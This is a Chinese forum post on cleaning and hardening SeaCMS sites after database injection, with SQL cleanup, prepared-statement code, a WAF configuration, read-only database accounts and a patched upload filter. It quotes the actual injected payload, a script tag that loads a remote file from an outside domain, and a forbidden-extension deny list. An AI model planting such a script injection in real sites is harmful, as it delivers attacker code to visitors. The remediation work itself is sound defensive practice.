★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.4.20更新 数据库读写分离)

nohacks 3月前 4513


首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

目前不知道攻击者是针对SQL注入还是search.php的模版if标签注入问题还是其它漏洞。

如果是前者,我这里提供一个预处理机制的代码,可以防止SQL注入。

/include/sql.class.php 类 添加下面方法:

	//以PDO 预处理查询,可防止SQL注入
	function QueryPdo($sql='',$param=null)
	{
	
		if(!empty($sql))
		{
			 $this->SetQuery($sql);
		}
	
         $dsn="mysql:host=".$this->dbHost.";dbname=".$this->dbName;
      
     try {
          $dbh = new PDO($dsn, $this->dbUser, $this->dbPwd); //初始化一个PDO对象
          //$dbh = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
       } catch (PDOException $e) {
         die ("Error!: " . $e->getMessage() . "<br/>");
        }
        $stmt = $dbh->prepare($sql);
        if( $stmt->execute($param)){$row = $stmt->fetchall();}else{ $row=false;}
      $dbh=null;
     return $row;
	}


对应调用代码也需要修改,例如: search.php 修改为下面的代码:

switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like ? or v_actor like ? or v_director like ? or v_publisharea like ? or v_publishyear like ? or v_letter=? or v_tags=? or v_nickname like ?)";
 $parm=array("%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%");
        break;
case 0:
$whereStr=" where v_recycled=0 and v_name like ?";
            $parm=array("%$searchword%");
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like ?";
            $parm=array("%$searchword%");
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like ?";
             $parm=array("%$searchword%");
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like ?";
              $parm=array("%$searchword%");
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter=?";
              $parm=array(strtoupper($searchword));
break;
case 5:
            $parm=array();
$whereStr=" where v_recycled=0";
if(!empty($tid)) {$whereStr.=" and (tid in(".getTypeId($tid).") or FIND_IN_SET(?,v_extratype)<>0)";array_push( $parm,$tid);}
if($year=="more")
{
$publishyeartxt=sea_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)";
}
if(!empty($year) AND $year!="more"){$whereStr.=" and v_publishyear=?";array_push( $parm,$year);}
if($letter=="0-9"){$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9"){$whereStr.=" and v_letter=?";array_push( $parm,$letter); }
if(!empty($area)) {$whereStr.=" and v_publisharea=?";array_push($parm,$area);}
if(!empty($yuyan)){$whereStr.=" and v_lang=?";array_push( $parm,$yuyan);}
if(!empty($jq)) {$whereStr.=" and v_jq like ?";array_push( $parm,"%$jq%");} 
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if($money=='s') $whereStr.=" and v_money !=0";
if($money=='m') $whereStr.=" and v_money=0";
if(!empty($ver)) {$whereStr.=" and v_ver=?";array_push( $parm,$ver);};
break;
}
    $sql="select count(*) as dd from sea_data ".$whereStr." limit 0,1;";
//$row = $dsql->GetOne($sql);
    $row = $dsql->QueryPdo($sql, $parm);
    if(is_array($row))
{
$TotalResult = $row[0]['dd'];
}
else
{
$TotalResult = 0;
}

注意事项:

1. 修改数据库密码

     修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2. 删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

3.  数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

4. 设置网站根目录权限为只读权限 555

    设置网站根目录权限为555,然后设置data,xml及uploads目录的读写权限为755,index.html,top.html,new.html等生成文件为755权限。

5. 开启网站防火墙

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

6. 服务器安装防护软件

    建议悬镜,云锁。

   

7. 数据库读写分离(搜索使用只读账号)

    频繁被挂马估计是search.php的问题,因此在找不到漏洞的情况下,作为最后防线,我们限制search.php使用只读权限操作数据库就可以禁止数据库挂马而不影响系统其他功能。

  1. 创建只读数据库配置文件 "data.inc.php"

        复制"/data/common.inc.php"并重命名为data.inc.php

        打开修改其内容中"127.0.0.1"为"localhost"保存。

   2. 设置数据库只读账号

          宝塔-数据库-管理-账户

          选择海洋CMS所用的账户并且主机名为"localhost" 所在行,  修改数据库权限,只打勾SELECT,执行即可。

  3.修改搜索使用数据库只读账号

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "search.php"){require_once(sea_DATA.'/data.inc.php');}else{require_once(sea_DATA.'/common.inc.php');}

如果还是被挂马,说明不是search.php的问题,可采取下面更严厉的方案,只给自动入库数据库可写权限,其它一切只读权限(会导致部分功能失效,如:人气,推荐等):

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "admin_reslib2.php"){require_once(sea_DATA.'/common.inc.php');}else{require_once(sea_DATA.'/data.inc.php');}


8. 修复上传漏洞

   海洋CMS 9.8版本修复了一处安全漏洞,文件为“include/uploadsafe.inc.php”

修复后源码如下:


<?php
if(!defined('sea_INC'))
{
	exit("Request Error!");
}
if(isset($_FILES['GLOBALS']))
{
	exit('Request not allow!');
}
//为了防止用户通过注入的可能性改动了数据库 
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml|htm|html";
$imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");
$keyarr = array('name','type','tmp_name','size');
$fskey=array('(',')','<','>','%','0x','|',';','{','}','$','&','*','#','@','[',']');
foreach($_FILES as $_key=>$_value)
{
	foreach($keyarr as $k)
	{
		if(!isset($_FILES[$_key][$k]))
		{
			exit('Request Error!');
		}
	}
if(!filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_CLIENT_IP']='0.0.0.0';}
if(!filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)){$_SERVER['REMOTE_ADDR']='0.0.0.0';}	
if(!filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_X_FORWARDED_FOR']='0.0.0.0';}		
//安全过滤  
$_FILES[$_key]['name']=str_ireplace($fskey,'',$_FILES[$_key]['name']);
$_FILES[$_key]['tmp_name']=str_ireplace($fskey,'',$_FILES[$_key]['tmp_name']);
$_SERVER['HTTP_COOKIE']=str_ireplace($fskey,'',$_SERVER['HTTP_COOKIE']);	
	$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
	${$_key.'_name'} = $_FILES[$_key]['name'];
	${$_key.'_type'} = $_FILES[$_key]['type'] = m_eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
	${$_key.'_size'} = $_FILES[$_key]['size'] = m_ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
	//过滤类型
    if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
	{
			exit('Upload filetype not allow !');
	}
    //检测图片
     if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
     $image_dd = @getimagesize($$_key); if($image_dd == false){continue;}
     if (!is_array($image_dd)) {exit('Upload filetype not allow !');}
    }
	if(empty(${$_key.'_size'})){${$_key.'_size'} = @filesize($$_key);}
}
?>


保存后删除缓存即可。

测试站点: https://xymov.tv 

待续。。

最后于 2月前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (1)
  • 0 引用 1
    已按照你的方法测试,已经关掉数据库的锁定状态,3天后刷新结果
返回
发新帖